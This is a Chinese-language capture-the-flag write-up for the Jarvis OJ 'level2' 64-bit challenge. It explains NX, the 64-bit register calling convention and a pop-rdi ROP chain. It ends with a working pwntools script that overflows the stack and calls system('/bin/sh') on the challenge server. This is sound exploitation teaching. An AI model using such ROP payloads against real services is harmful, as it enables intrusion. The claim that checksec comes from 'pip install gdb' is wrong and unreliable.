思路WP
提示:网上有不少当作32位写的WP,都出现了问题,无法成功cat flag,只有运用ROP的才能成功。
该题会用到gdb中的checksec,可以通过pip install gdb下载。checksec的主要作用是检查elf文件的保护机制。
-
通过checksec后发现开启了NX,因此需要学习ROP。
NX:NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。绕过的最主流的方法就死ROP(return-orient-program).
-
打开ida后,同样由main函数开始,到vulner_function函数发现栈溢出,虽然发现有system函数,但system函数中不存在“/bin/sh”的命令。同时也因为NX打开了,因此我们要使用ROP。
ROP的全称为Return-oriented programming(返回导向编程)
-
可以得到函数将rdi出栈并且存入第一个寄存器rdi的时候,同时通过ROPgadget的搜索功能,找到程序在data部分有“/bin/sh”的命令,因此我们造一个伪栈帧,但同时我们需要找到寄存器rdi的地址(0x4006b3)并向其写入参数。
为什么我们需要rdi呢?
首先我们必须先知道32位溢出与64位溢出的区别
在32位程序运行中,函数参数直接压入栈中
调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1
在64位程序运行中,参数传递需要寄存器
64位参数传递约定:前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9 中,参数超过六个时,从第七个开始压入栈中
- 因此我们想要覆盖原先的地址,并使他指向“/bin/sh”的时候,我们要得到程序将rdi存到ret时的地址,从而将函数参数存入寄存器,既“/bin/sh”的地址,最后再加上system的地址,这样就构成了一个伪栈帧,达到了我们调用system和“/bin/sh”的目的。
代码
#!usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
io = remote("pwn2.jarvisoj.com",9882)
elf = ELF("./level2")
sys_addr = elf.symbols["system"]
bin_addr = 0x600A90 #利用ROPgadget获得
rdi_ret = 0x4006B3
payload = ''
payload += 'a' * 0x88
payload += p64(rdi_ret)
payload += p64(bin_addr)
payload += p64(sys_addr)
io.recvline()
io.sendline(payload)
io.interactive()
io.close()
解释
ELF是一种用于二进制文件、可执行文件、目标代码、共享库和核心转储格式文件,即我们下载
得到的文件(在这里我重命名了)
elf.symbols[]可以得到框号中字符作为函数名在本程序中的地址。
sendline()是传输一行。